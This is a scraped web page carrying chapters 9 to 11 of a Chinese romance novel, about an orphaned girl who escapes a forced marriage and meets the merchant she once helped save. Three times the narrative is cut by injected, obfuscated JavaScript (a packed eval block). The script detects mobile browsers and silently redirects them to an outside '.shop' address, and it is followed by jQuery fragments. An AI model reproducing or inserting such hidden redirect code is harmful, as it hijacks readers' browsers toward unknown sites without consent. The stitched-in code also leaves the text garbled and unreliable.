;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744396|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,林霏清却没跟进去,从小到大她对危险已经有了一套判断标准,眼下这个情况,不是她进去就能解决的。
想清楚,林霏清没有犹豫,转身往田地跑去。
待她带着赵福回来时,何雁正坐在堂屋垂首哭泣,赵栋站在一旁,领头坐在对面,翘着腿,极不耐的样子,其余人站在周围,乌压压一群人,本还宽敞的堂屋都显得逼仄起来。
林霏清悄悄停在门口角落,不叫旁人注意到她。
见到赵福,何雁哭得更厉害了,断断续续说不出话,领头见状,主动开口:“你就是赵栋他爹?”
赵福当了一辈子农家人,何时见过这种场景,一时有些懵:“正是,您是?”
领头晃荡着腿,将赵福从上到下看了一遍,这才慢悠悠从怀中摸出张纸拍在几上:“你儿子前段日子在我们那欠了些钱,这么久了也没点动静,我们老板怕他忘了,特意让我们上门提醒一下。”
赵福愣在原地,没看几上那张纸,而是向赵栋:“可有此事?”
赵栋扑通一声跪倒在地,哭道:“爹,是刘大少跟我借的钱啊,儿子也是被骗了啊!”
“啧,这话我就不爱听了。”领头放下腿,皱眉道,“这上头的名儿是你自己签的,手印是你自己按的,钱也是你自己送过来的,就算是闹到官府我也不虚,怎么就说是被骗了呢?”
赵栋跪在地上支支吾吾说不出来话,领头站起身,拍了拍桌子,对赵福道:“我也不是不讲理的人,你儿欠了钱,还不起就你这个当爹的来,看你庄户人也不容易,我给你把零头抹了,总计三百五十两,拿得出来,一笔勾销,拿不出来,你这房子里能拿的拿了,要是还不够,指头、手、胳膊,都作数。”
“三、三百五十两?”赵福瞪大了眼,“怎么就那么多了?”
那日赵栋要的钱也没这么多啊。
领头看看赵福,又看看赵栋,恍然:“啊,原来你爹还不知道,”他笑着向赵福解释,“我们的场,是赌场,赵公子一把输一把,不就欠得多了吗。”
赵福:“……可是这么多钱,我们一时也拿不出来,您要不通融通融?”
“可以啊,”领头很好说话,“多拖一日,便多五分的利钱,你看,什么时候能还清?”
赵福嗫嚅着唇,如果可以,那些利钱他也不想付,领头见状没了耐心,狠狠踹了一脚桌子,“给脸不要脸是吧?拿不出来,兄弟们可就要动手了。”
说着,周遭男子作势就要打砸,赵福慌了,忙叫停他们:“不可、不可啊!”
“行,不砸,那砍手吧。”
几人又将赵栋按倒地上,“锃”的一声刀刃出鞘,何雁吓得一翻眼晕了过去。
赵栋挣扎着哭喊:“爹!爹!救我啊!”
赵福脸色苍白,赶在刀刃砍下的前一瞬喊道:“我给钱!”
三百五十两,基本上是家中所存的所有存蓄,看现在这个情况,不拿是不行了。
几人停手,却没有松开赵栋,赵福颤抖着唇最后问了一句:“是不是拿出钱,我儿的事就一笔勾销了?”
-
是夜,受了惊吓的一家人早早入睡,但活不会自己干完,收整好农具打理罢畜棚,检查了番口脂晾晒得怎么样,林霏清这才有时间洗漱休息。
月光明亮,万籁俱静,初春的天还冷,林霏清裹着单衣匆匆往屋里走,经过舅舅舅母窗下时,却听见里面人还没睡。
“不能再由着栋儿继续这样胡闹下去了,明日我便去找王婆,男人成家了就懂事了。”这是舅母的声音。
“从前家里有钱旁人都瞧不上,现在分毫不剩,难道还有姑娘愿意嫁进来?”舅舅反驳她。
舅母便没办法了:“那你说怎么办?”
这次沉默的时间有些长,林霏清不知怎的放缓脚步。许久,舅舅再度开口:“家里不是有个现成的丫头吗?”
她顿时愣在原地。
“你说霏清丫头?她怎么能行?”
“怎么不行了?自家人知根知底的,长得漂亮手脚麻利,还会挣钱,难不成你舍得把每月五十两送到别人手里?”
舅舅语气平淡,一条一条列着她的长处,对庄户人来说,有这些好处已经够了,说到最后,舅母也被说服。
“……那我之后问问她的意思。”
后面的话林霏清已经听不进去了,好像有人拿着棒子照她脑袋砸了一下,耳边嗡嗡作响,她不知自己是怎么走出院子的,回过神来时,人已经到了村口的榕树下。
村外是条土路,被稀疏的树林裹挟着,弯弯曲曲通向燕都。
林霏清猛然深吸一口气,冰凉的空气钻进肺腑,她腿一软,猛然跪倒在地。
9. 第 9 章
林霏清知道舅舅一家对自己是有大恩的。
她两岁时父亲战死,五岁时母亲病逝。
五岁太小了,她对母亲的记忆都已模糊,更是完全想不起父亲的模样。
那么难的世道,听说战事吃紧的地方,卖儿卖女才勉强活下来,舅舅一家不仅没有丢掉她,还好好的把她养到这么大。
与之相比,那些小小的不愉快完全可以忽略不计。
但林霏清从来没想过要靠嫁给表兄来偿还这份恩情。
她可以把她赚到的钱全给舅母,也可以包揽家中大小所有家务,若舅舅舅母不嫌弃,她可以伺候他们一辈子。
一辈子……嫁人也需要一辈子。
林霏清无意识收拢五指,冻得冷硬的泥土卡进她的指缝。
她皱起眉,开始想象。
若她告诉舅母,她愿意伺候表兄一辈子,也愿意伺候以后的表嫂一辈子,舅母会不会打消原本的念头?
……
不,不会。
这是个很简单的问题,林霏清很快得出了答案。
若她不嫁给表兄,一年、两年,一直会有人上门求亲,不等她过了适婚年纪,舅舅舅母便会寻个合适的人家将她嫁出去。
当然,姑娘大了就得嫁人,舅舅舅母这样做也是为了她好。可是,林霏清自己也说不出,她为何会这样排斥。
月亮渐渐爬上树梢,夜间更凉了些,林霏清只穿着单衣,冻得打了个喷嚏。
就算在这里坐一晚上,她也没有办法。
她无处可去,身无分文,再坐在这里明日一定会病。
明日还有活要干。
林霏清扶着粗粝的树干,缓缓站起身,拖着发麻的双腿,一步一步返回舅舅家。
一夜不得安眠,始终沉浮在梦与醒的交界,翌日刚睁开眼,林霏清便察觉到了不对。
脑袋昏沉,呼吸不畅,喉头发痒。
她病了。
她都不记得她有多久没病过了。
爬到窗边看了眼天色,再过一会舅舅便要起身下田,她得赶在这之前准备好早饭。
脚一落地,一阵眩晕袭来,扶着床缓了好一会,慢慢挪到灶房,做好早饭送舅舅出门,表兄舅母都还没起,她将早饭温在炉灶里,脑袋越发疼得厉害。
歇一会吧。
余下的活待会起来再做。
打定主意,林霏清又慢慢挪回屋子,躺倒床上的一瞬间便睡了过去。
……
“何伯母,您在家吗?母亲让我来给您送东西。”
不知过了多久,林霏清被一阵唤门声叫醒,身子依旧沉重,精神却要比早晨好许多。
略微辨了一下,是赵先生的声音,不过没听见家里其他人去应门。
都还没起吗?
不好让赵先生久等,林霏清掀开被子坐起来,穿好鞋去开门。
或许是觉得读封信用不了一篮鸡蛋那样厚重的报酬,也可能是因为旁的缘故,那日拜访后没多久温纯便上门送了些家里做的腊肉。
而后何雁温纯便莫名开始了你来我往的赠礼,有时温纯来,有时让赵书源来。这段时日何雁病了,他们来得格外勤了些。
这次送来的是温纯自己制的腌菜,也不知有什么巧宗,口感爽脆,何雁极爱。
往日赵书源不会多待,送罢东西后便会告辞,这次却多看了林霏清两眼。
不知是不是舅舅舅母的话惊着她了,此刻林霏清哪怕在病中也对男人的视线分外敏感,她抿了抿唇,干笑道:“我脸上有什么东西吗?”
应当不是看出她病了,她不常生病,病了也不会显露在面上,不熟悉的人根本不会看出什么。
“不。”赵书源果然没看出来,他挪开目光,迟疑道,“只是觉得,你好像有心事?”
没想到是这个答案,林霏清愣了愣,下意识摇头:“我没事。”
话一说出口,语调低落得连她自己都不信。
赵书源皱眉,上次见林姑娘不高兴还是王婆上门说媒,这次莫非还是与成婚嫁娶有关?不过他没听闻这几日王婆有再上门的消息。
说起来,他送东西的时候倒是见过赵福几面,是个看起来极其老实本分的庄稼人,但偶尔看向林姑娘的眼神,却总让他觉得有些古怪。
……
啊,原来如此。
只一瞬赵书源便想出了其中关窍,却并没有往日破开题眼的痛快,反而涌起一股难言的焦躁。
不知林姑娘是如何察觉赵福的心思的,但她显然不愿,一个还不满十六岁的姑娘,日夜呆在对她有这样目的的家中,不知得有多惶恐。
好像有什么催促他开了口。
“林姑娘,我有话想对你说——”
打断他的是林姑娘猛然睁大的眼与其中掩藏不住的恐惧,仿佛说话的不是一个人,而是马上要吞食掉她的妖怪。
她不愿意。
赵书源迅速得出这个讯息,千回百转只发生在一息之间,他面色不变,无比自然地沿着方才的话接下去:
“不知你愿不愿意去川阳书院做活?”
什么?
林霏清的面色有一瞬间空白。
赵书源笑道:“说来有些难为情,我还是从头给你解释吧。”
“前些年我的一篇文章偶然落到川阳书院的夫子手中,他不嫌我粗陋,寄信说我尚可长进,愿收我为生,我自然是无不应的的道理。”
“只是那些年战乱频发,我放心不下母亲,也不好让母亲为我担心,便与夫子书信往来,如今天下尚安,我决意去川阳读书,偶然得知书院中缺几位做粗活的女侍。”
说到这里他有些不好意思:“自然,让林姑娘做粗活是委屈了,只是在川阳,不论身份皆可读书,我想着,或许你会对此有意?”
病了的林霏清脑子转得很慢:“读、读书?”
赵书源点头:“川阳书院有专门对非师生开放的书楼,偶尔也会有书院的夫子去那里授课,你若去那里做活,闲暇之余便可去里头读书。”
“只是……若这样的话,你便两三年不能回到荷花村了。”
林霏清一怔,若可以读书只是些微有些让她心动的话,赵先生这句话却是让她豁然开朗。
对啊,她可以暂时离开啊。
表兄已经二十二了,不可能等她这么久,待到两三年后她回来,说不准连侄子侄女都有了。
到那时,她认得字,还会做口脂,既可以报答舅舅舅母的恩情,又不用嫁给表兄,甚至学了文化还能回来教导侄子侄女,简直三全。
林霏清喉咙有些痒,张嘴却想到:“……舅舅舅母那边怎么说呢?”
赵书源看着她,眉眼温和:“机会难得,他们应当不会不同意的,不过,你若实在不放心,可以先出发,寄信回来解释。”
不告而别,这好像是唯一的缺点了。
到底是件大事,不可能逼着她现在就做出决定,赵书源徐徐道:“不着急,六月份才出发,你可以慢慢考虑,想清楚告知我一声便好。”
林霏清站的太久,头又开始晕,却仍掩不住感激:“多谢您为我想得这样周全。”
赵书源温和的笑意稍稍落下,垂了垂睫,低不可闻道:“我也算是有自己的私心。”
“什么?”林霏清没听清。
赵书源摇摇头:“没什么,今日已叨扰太久,我就先告辞了。”走了几步又想起什么突然回身,“对了,你手头宽裕吗?”
林霏清眼前已浮现零零碎碎的黑点,听他问钱财之事,眨眨眼集中精神:您是需要借钱吗?”
她手头现在能拿出来不到五两。不过一时也没什么要用的到的地方,赵先生想要可以全给他。
赵书源失笑:“当然不是。”
“到底要顾及你清誉,你我不好一同出发,得先你自己雇辆车走到驿站,到时你我再汇合,雇车,包括路上,都得花费不少。”
“罢了,我先给你一些吧,手头有钱也安心些。”
林霏清哪能再要他的钱,连忙摆手:“不不不,钱的事我能解决,您已经帮我够多的了,再这样我只怕一辈子都还不完您的恩情。”
她没注意自己的话已经泄露了打算去川阳的意图,赵书源暗觉好笑,却没有拆穿,表示理解后告辞离去。
目送着赵书源离开,林霏清长舒口气,靠在门柱上缓了缓,待眼前黑影退却,这才起身把腌菜收到灶房,却注意到早上留下的早饭还原封不动留在远处。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744397|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
……这个时候还没起吗?
她不是很想到舅母跟前去,但现在都没起床,别是出了什么事吧?
端着早饭,林霏清轻轻敲响了舅母的房门。
许久,里面才传来一句低微的“怎么了”。
“舅母,早饭好了,您是在外面吃还是我给您拿进来?”
又是好一会,像是里面人翻身坐起,何雁微微扬声:“拿进来吧。”
林霏清的心跳快了几分,微微晕眩,她深吸口气,缓缓推开门。
舅舅舅母的屋子向阳,纸窗合着,透进来些朦胧的日光,却并不明亮,反而显得屋顶极黑,好像随时要压下来。
林霏清垂着眼不敢与舅母对视,自从昨夜之后,她现在看到舅舅舅母都忐忑得很,生怕舅母现在就要押她去与表兄成亲。
但何雁只是沉默着接过她手中的碗,告诉她不必给表兄留饭。
“该让那小子饿两天长长记性。”
林霏清点点头,大气不敢出,她能察觉到舅母的视线在她身上反复游移。
……
“行了,你先去忙吧。”
何雁最终也只说了这样一句,林霏清颤了颤睫,并不敢放松,出门时回眸悄悄看了一眼。何雁裹着被子坐在床上,盯着手中的碗,不知在想些什么。
她以为哪怕这次没说,舅母也会很快跟她提起,却不想一直到下月十五她要去金玉楼送口脂,舅母也始终没有向她提起这件事,好像那夜的夜谈不过她的一场梦。
可每当林霏清这样想的时候,舅舅看向她的目光,总能将她拉回现实。
她得离开。
不知不觉间,这个念头已经从犹豫变成了迫切。林霏清向赵先生问清了去川阳要花多少钱,在三月十五那日进京时,带上了阿香出嫁前送给她的玉佩。
“你藏好别叫家里人发现了,真出了什么事,就把它卖了跑得远远的!”
阿香,你简直是天底下最聪慧的姑娘。
林霏清穿着之前进京的衣裳,先去了当铺。
她只有这一个能私下拿钱的办法,比起那些小铺子,第一选择还是已经打出名号,信誉极佳的老字号。
店门口一个迎人的伙计,得知林霏清要典当一言不发地将人往里引,来当货的人身份各异,比起说巧话,学会闭嘴更重要。
穿过一个雅致的庭院,伙计停在一间屋子前,门大开着,但从外往里却只能瞧见一扇屏风,将屋内情景挡得严严实实。
林霏清跟在伙计后,看他停下,便也立刻止住步伐。
伙计站在台阶外,向里扬声:“二叔公在不在?”
须臾,屏风后传来三声浑浊却极具穿透力的木头敲击声,伙计这才转向林霏清,躬身道:“您请进。”
往后的路伙计便不能与她一同了。
林霏清点点头,低声道了句谢。
走过屏风,面前是个极高的柜台,仰着头才能勉强看到一道人影。
“姑娘要典当东西?”
她才一站定,柜台后便传来一道男声。
林霏清点点头,却又想起对方可能看不见,道:“是。”
等了一会,里面再没说话,林霏清正纳闷,就看到一只手从柜台间隙伸出,她反应过来,忙从怀中翻出玉佩,小心翼翼举过头顶递到那人手中。
“……还有您的名籍。”那人的声音有些无奈。
林霏清一愣:“什么名籍?”
“得证实您的身份,来路不明之人的东西我们不敢收。”那人道,“……姑娘,这是您的东西吗?”
林霏清第一次典当东西,到没想到还有这样的规矩,有些紧张地搓了搓衣裳:“我不打算把东西赎回,也得要名籍吗?”
她的名籍不知被舅母放在哪里了,长这么大都没见过。
柜台后的人没有回答,只轻声道:“抱歉。”
说着将玉佩在手中掉了个头,打算交还给林霏清。
林霏清舔了舔唇。
若是没办法换钱,那她该怎么办?
她不免有些焦躁,伸手去接,却接了个空。
“嗯?”
“唔?”那人顿了顿,好像注意到什么,“姑娘,能请您稍等片刻吗?”
10. 第 10 章
看着突然来到他面前小意温柔的胡家小姐,南流景有些头疼地皱了皱眉。
他都不知道自己怎么入了这位胡小姐的眼,自新年后便总能在各种各样的场合被堵到。
宫道、医馆、他手底下的产业,起初他没在意,直到某一次,对方羞涩地走到跟前,说了句“南大人,又见面了”。
……什么时候见过吗?
若不是身边人皆是从战时便跟着他的,南流景简直要怀疑自己周围是不是被安插了眼线。
若这样也就罢了,他有的是刻薄可使,可胡小姐行事虽大胆,见到他又规矩得紧,甚至到了胆小的地步,大多时候一句话都说不出来,南流景就算再无礼,也不至于对“偶然碰见”姑娘恶言相向。
那就不是刻薄了,是有病。
没办法,惹不起,他总能躲得起。
只是南流景今日注意到对方想要离开时,已经晚了。
胡小姐看了他几眼,又飞速避开视线,像是鼓了很大勇气似的小心道:“南大人,这是金玉楼新上的口脂吗?”
她指着一旁货架顶层上的竹盒,粗陋的包装与金玉楼华丽的装潢毫不相宜,却莫名能吸引人的目光。
胡小姐是金玉楼的常客,哪怕不为南流景,满城的胭脂水粉也只有这里的才能入她的眼,却是第一次在这里看到这样朴素的货品。
她胆子小,若不是有真有好奇这个缘故在,打死也不敢主动跟南流景搭话。
南流景顺着她的指尖看去,随即牵起一抹特有的,只在生意场上出现的场面笑容:“是的,这口脂已上一月,只是先前专贡于皇后与几位大人府上,到这个月才有些富余,不过现在也只剩下用作展览的这一盒。”
“您若是感兴趣的话,我还是叫专人给您介绍一番吧。”
他脸上挂着笑,说话客气又有礼,任谁来了都不能说没有被好好招待,胡小姐却莫名有种被回避的感觉。
仿佛她要往前,对方却不轻不重地将她推开,并在地上划了一道线,说以此为界。
她还没来得及说什么,南流景却已经叫来了人,而后向她点了点头就要告辞。
看着南流景漂亮精致的脸,以及唇角漫不经心却更显惊艳的笑,胡小姐攥紧了手中绣帕,不知哪里涌起些勇气,小声叫住他:“南大人,听说您前些日子病了,如今可是好些了吗?”
身后侍女听见这一句先是愣了愣,随即在心中狂为自家小姐的勇敢鼓掌。
刚过来的春湘也站在原地默不作声,等着自家老板回应。
一片跃跃欲试的安静中,南流景却没什么特别的反应,他脚步微微停了停,语气慵懒又随意:
“没怎么见好呢,太医说,我可能会不举。”
……
此时周遭人不多,却也不少,一个一个都清清楚楚听见了南流景的话,场面安静了一瞬,随即被这话中直白的含义惊得一片哗然。
胡小姐当场愣在原地,整张脸瞬间涨红,还是被率先反应过来的春湘引着离开此处。
而话题中心南流景好像完全没意识到自己说了什么,继续迈着稳当的步伐离开,徒留一地喧嚣惊骇,却在门口被人拦下。
来者是他手下一家当铺的朝奉,行事素来稳重,南流景还是第一次见他如此气喘吁吁的模样。
南流景心情不错,随口开了个玩笑:“配了车不用,出来散步啊?”
朝奉喘不过来气,摆了摆手,从袖中拿出一块玉佩递到南流景面前。
看清上头纹样的一瞬间,南流景唇角笑意淡去,像是想起了什么,有些恍惚,再抬眼,表情已然变得冷肃。
“上车。”
路上朝奉悄悄觑南流景,对方微阖着眼,姿态松弛神色平静,一只手的指尖轻轻敲击着扶手。一时他也拿不准,方才来当铺的那位姑娘到底是何人也,怎么会有雕着南老板私人纹样的玉佩。
马车很快抵达当铺门口,朝奉在前头带路,穿过通往偏院的垂花门,隔着窗能看见林姑娘正在屋内休息等候。
朝奉脚步快了几分,却没听见身后跟上来的声音。
疑惑回头,就见南老板站在树影后,盯着屋内的人,眸光显而易见的复杂。
察觉到他的视线,南流景微微转动眼珠,目光挪到朝奉身上:“是她把这块玉佩拿来的?”
朝奉点头,不知有什么问题。
却见南流景得了肯定的答案后沉默了一会,而后缓缓道:“有件事你去办。”
-
柜台处自不是等待的地方,很快就有人将林霏清引到另一间屋子里。
隔着窗能看见院中一棵高大的樱树,正值春季,整棵树上落满了云霞似的花朵,与蓝天白云映衬着分外好看。
林霏清却完全没心思赏花,她喝了几口茶,心下依旧慌乱。好在没让她等多久便有人进来,是个没见过的中年男子,见她想起身立刻摆手表示不用。
男子坐到她对面,轻轻将方才她给出去的玉佩放到一旁小几上:“称呼您林姑娘可以吗?”
他的声音有些熟悉,像是刚刚在柜台后收她玉佩的那个人,林霏清看了一眼玉佩,没见有什么问题,这才点了点头。
男子笑道:“我姓钱,是这家当铺的朝奉,您叫我老钱就好。”
林霏清又点头。
老钱态度很温和:“方才我找人查过,这玉佩实在值钱,您又拿不出证明您身份的东西,所以有些问题想问问您。您不必紧张,如实回答就好。”
这样说着,但林霏清很难不紧张,她咽了口口水,道了句好。
她不知道没有名籍来当铺到底是多严重的事情,其实在柜台前老钱让她稍等的时候她就想走了,只是玉佩在对方手上,想走也不行。
这一会不知要问什么,别把她送进大狱,或者扣押起来就好。
胡思乱想着,老钱开口问了第一个问题:“您是这块玉佩的原本的主人吗?”
问这话时老钱语气温和,可却紧紧盯着林霏清,仿佛任何她说谎的打算都瞒不过他的眼。
林霏清没想到对方开口便是这样的问题,整个后背瞬间冒出冷汗,不知怔了多久才反应过来回答。
“……我不是。”声音嘶哑。
老钱面看起来并不意外,点了点头,问起下一个问题:“您什么时候第一次见到这玉佩的?”
听他这样问,林霏清几乎停滞的脑子才开始继续转动。
第一次见,应当是在三年前夏天某一日中午?
那日她在外头碰见赵香,还在疑惑对方不是进山采药,怎么这么早便回来了。
赵香却神神秘秘地将她拉到角落,从怀里拿出块玉佩给她瞧,说她今天干了件能积德的大事。
……
想到老钱还在等她回答,林霏清迅速回过神,道:“三年前的夏天。”
时间也对上了。
老钱面上不显,心下却掀起惊涛骇浪,这得有多巧,才能找到当初救了南老板一命的姑娘。
他估摸着十有八九就是眼前这位,态度也越发恭敬,不动声色地问出最后一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744398|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
问题:“您家住在……?”
林霏清舔了舔唇,问这话是什么意思?要叫她家里人来吗?
要不随便说个什么地方糊弄过去算了,可一时也想不出一个可信的地方,万一对方要跟着她一起回去怎么办?
这样一个简单的问题,要考虑这么久显然有些古怪,但老钱耐心很好,始终挂着温和的笑意,没有一点催促的意思。
不知过了多久,林霏清才哑声道:“荷花村。”
最终,她也没能撒出这个慌。
得到答案的老钱闭了闭眼,时间对得上,地点对得上,据说当初是个年岁很轻的小姑娘,人也对得上。
再睁眼,老钱看向林霏清已经是全然不同的心情。
首富的恩人啊,南老板平日里便大方得很,对待恩人,不知会用什么来报答。
心下感慨,动作却不拖沓,老钱迅速起身,冲林霏清微微欠身:“请您稍等一下。”
又让她等。
林霏清暗自叫苦,早知这么麻烦就不来了,瞧着老钱也没有带她报官的意思,要不偷偷跑吧?
心底才升起这个念头,就看见老钱又把玉佩揣了回去。
……还是走不了。
-
南流景就在垂花门外,没一会便见老钱出来,看他的样子便也有了答案。
“都对得上?”
老钱点头:“对得上。”
南流景颤了颤睫,心下却意外的平静。
老钱看他神色:“要不要我与林姑娘商讨一番报酬?”
南流景觑他一眼,像听到什么荒唐的话似的扯了扯唇:“我的救命恩人,怎么能让你们去招待?”
说罢他理了理袖子,漠然道:“行了,玉佩给我,余下的事你不用管了。”
老钱依言退下,只是许久,南流景依旧站在门口,没有进去。
三年前的事是场蓄谋已久的意外,彼时兰安所带的军队抵达燕都附近,而比兰安军队更早入驻燕都的,是南流景的产业。
那时南流景已是富甲一方的商人,行军打仗期间,兰安军队粮草军火等皆是他出金资助,他行事又素来高调,被人盯上也不是什么意外的事。
南流景对此早有准备,身边也时常跟着人。
只是那群伙匪实在莽撞,或许是运气好,竟误打误撞地掳走了他。
后面其实也没发生什么事,那伙匪徒的运气只好了这么一回,还没来得及向兰安要赎金,便被他率着军队一网打尽。
后来才得知,兰安来的如此及时,多亏了个年岁不大的小姑娘向兰安报信。
只是事情紧急,除了接待小姑娘的两个士卒,没人再见过她,而那两个士卒后来也在战场上双双牺牲。
甚至丢了枚玉佩也是南流景后来才发现的。
若非今日见到,也不会想到是被当初那个小姑娘捡走了。
他也试着寻找过,只是线索太少,几年过去始终杳无音信,南流景甚至猜测,世道那么乱,或许出了什么事。
这想法有些晦气,但随着兰安一路从南方打上来,见得多了,已经很少再有什么波动了。
直到今日知晓这位恩人还在世,在来的路上,南流景才后知后觉的,有些欣慰。
不为旁的,一个热心勇敢的姑娘,不该那样死去。
南流景越过门洞,透过芳菲树影,看向窗口那道模糊的人影,不用猜都知道她身上穿着什么。
一定是那件穿了好几次的旧冬衣。
他的恩人,过得不太好。
11. 第 11 章
这次等了许久,等到最后林霏清都有些困倦,终于听到一阵脚步从院中传来。
侧目,正巧看到南流景踏进房中,今日他穿了件浅粉的披风,越过门槛的一瞬间,林霏清恍惚以为是一阵卷着樱花的风。
林霏清愣了愣,看清来者是谁后讶然睁大眼。
现在什么时辰了?她今日还没给金玉楼送货,南流景竟追到这里来了?
她刚启唇想要解释,下一瞬却听见一声轻轻的“咔哒”,是木与玉石相击之声。
垂睫,方才还在老钱手中的玉佩现在已经落在了南流景手中。
林霏清微微皱眉,还没来得及思考,便听南流景道:“我是这家当铺的老板。”
那还,挺厉害的。
不对,她这件事已经大到,连老板都惊动了吗?
不至于吧……
南流景看向放在几上的玉佩,继续道:“也是这块玉佩原本的主人。”
“……”
阿香当初救的人是南流景!
林霏清呼吸一滞。方才种种怪异之处忽然有了答案。
南流景肯定知道她不是阿香,故而才会派人来询问她,他会不会以为是她偷了阿香的玉佩,然后专门拿到当铺来换钱的?
太好了,林霏清有些绝望地闭了闭眼,南流景眼中,她是骗子,是小偷,只是绝对不是好人。
可他没有报官,所以还是打算私下解决吗?
林霏清一时拿不准南流景的态度,只好小心道:“我、我之前真不知道,这块玉佩我还给您可以吗?”
这是什么运气?
燕都那么多家当铺,世上那么多玉佩,偏偏阿香送给她这一块,偏偏她来了这家当铺,偏偏这家当铺的老板是玉佩原本的主人。
南流景挑了挑眉:“你很缺钱吗?”
林霏清尴尬笑笑:“来当铺肯定是缺钱呀。”
“……”
南流景沉默了一会,突然道:“你需要多少?”
什么意思?是打算给她钱吗?
林霏清越发不安,她甚至问出口了。
却见南流景无比自然地点了点头:“是,我给你。”
林霏清愣住,再看南流景的表情,对方神色舒展,望着她的目光平静又认真,完全没有平日里对什么都不上心的倦懒,也没有戏耍他人恶劣的戏谑,甚至有点……温和。
他没有生她的气。
林霏清莫名放松些许,心底浮现一个猜测,试探道:“这算是,是谢礼吗?”
对她拿来玉佩的谢礼。
“当然。”南流景有问必答,极有耐心的样子,“所以你需要多少?”
既然南流景这样说,那林霏清稍微放下心来,考虑价钱的事。
从荷花村到川阳书院,一路上雇车饮食住宿的开销,赵先生已经帮她粗略地算过。
只是这个数目相比拿来玉佩这一小件事的谢礼,实在是太多了些。
可她只有这一个能私下存钱的机会。
把握不住,她就要嫁给表兄了。
南流景还在等着她的回答。
林霏清抿了抿唇,垂下眼避开他的视线,破罐子破摔道:“二十两。”
“……”
她没看南流景,便没注意到他的表情空白了一瞬。
沉默许久,林霏清听到南流景开口,缓慢而所有所思:“你这个月该往金玉楼送的货,是不是还没有送去?”
-
林霏清站在南流景马车前,迟迟不肯上车。
“我自己能去,还是不麻烦您送我一程了。”她忍不住抵抗。
南流景在车上,微微撩起窗帘:“不是送,是捎。我有事要去金玉楼。”
“更何况我现在身上没带钱,”说到这里,他微微偏头,白皙标致的半张面容闪过些许玩味,“还是说,这钱你不急着要?”
林霏清沉默。
那还是挺急的。
如今已经四月,六月份赵先生便动身去往川阳,错过这次,就只剩下一次名正言顺进京的机会,她虽读书不多,却也知道夜长梦多这个道理。
万一下次她没碰到南流景,或者出了旁的什么岔子怎么办?
相比这些更现实的问题,那点心虚和不情愿实在不值一提,林霏清微微叹息,道了声打扰,便上了南流景的马车。
里面比外头看起来还要宽敞,处处以软垫毛皮包裹,连底部都铺着厚厚一层地垫,柔软若草坪,甫一踏入,一股药香扑面而来,与南流景身上的味道极为相似,只是更浓郁些。
林霏清小心翼翼坐在一侧,离南流景最远的角落。
南流景掀起眼皮看了她一眼,倒没说什么。
微微晃动后,马车启程往金玉楼去,林霏清眼观鼻鼻观心,尽量不发出一点声音,一片安静中,南流景突然出声:“你病了。”
林霏清抬睫,南流景靠在身后软垫上微微闭眼休息,面上没有丁点波澜,仿佛不过随口一问。她抿抿唇,没否认。
那夜受凉病了之后,也不知是心中有事还是旁的缘故,断断续续到如今也没好全,不过也就只剩下一点点喉咙痒痛和鼻塞而已。
“一点点风寒。”林霏清道。
“柜子左侧第二格有药,一日一粒,三日即可痊愈。”没等她开口,南流景像是知道她要说什么,慢吞吞道,“可怜可怜我,安静吃药,让我歇会。”
林霏清一噎,下意识的婉拒堵在喉间,沉默了一会,只好道:“那多谢您了。”
南流景“嗯”了一声,阖上眼,听着林霏清打开柜子的动静,唇角却莫名弯了弯。
不知是心理作用还是这药当真有效,吃下去没一会不舒服的感觉便消散许多,恰马车停下,林霏清率先下车,站定后才突然有些疑惑,看向由银元扶着下车的南流景。
“您是怎么发现我病的?”
她生病时表面完全不显,连阿香也不一定能次次发现,南流景是如何一眼看出来的?
南流景看起来的确是需要休息,他本就苍白,此刻面上更是没有丁点血色,仿佛下一瞬就会晕过去。
饶是如此,他的动作也没有半分虚浮,面上依旧是掌握一切的游刃有余。
他看了眼林霏清,吐出几个字:“闻到的。”
两人在金玉楼侧门下车,而后银元便将马车驾往马厩。看着南流景率先走进侧门的背影,林霏清疑惑地抬起胳膊嗅了嗅。
……她怎么没闻到?
进入侧门是金玉楼的后院,一圈建筑环绕着中央的湖面,湖上一座小亭,东南角砖石垒砌的小小花圃显然被用心打理过,一只玳瑁猫正趴在石栏上懒洋洋地甩着尾巴。
看林霏清好奇地盯着那只猫,南流景介绍道:“那是春湘搬来时捡到的,脾气大得很,除了春湘谁都不让摸。”
林霏清:“春湘姑娘搬来时?”
“嗯。”南流景应了一声,走在前头推开一扇门,“后院朝南的那幢楼供店员居住,春湘算是最早的一批。”
“您还为员工提供居所吗?”
屋内空间不算特别大,屏风前一条长桌,两端各置着一张软椅,门边挂着一条不太起眼的绳子,南流景一边拽了三下,一边应了一声:“他们为我做事,又不是旁人,一个住所而已,我还负担得起。”
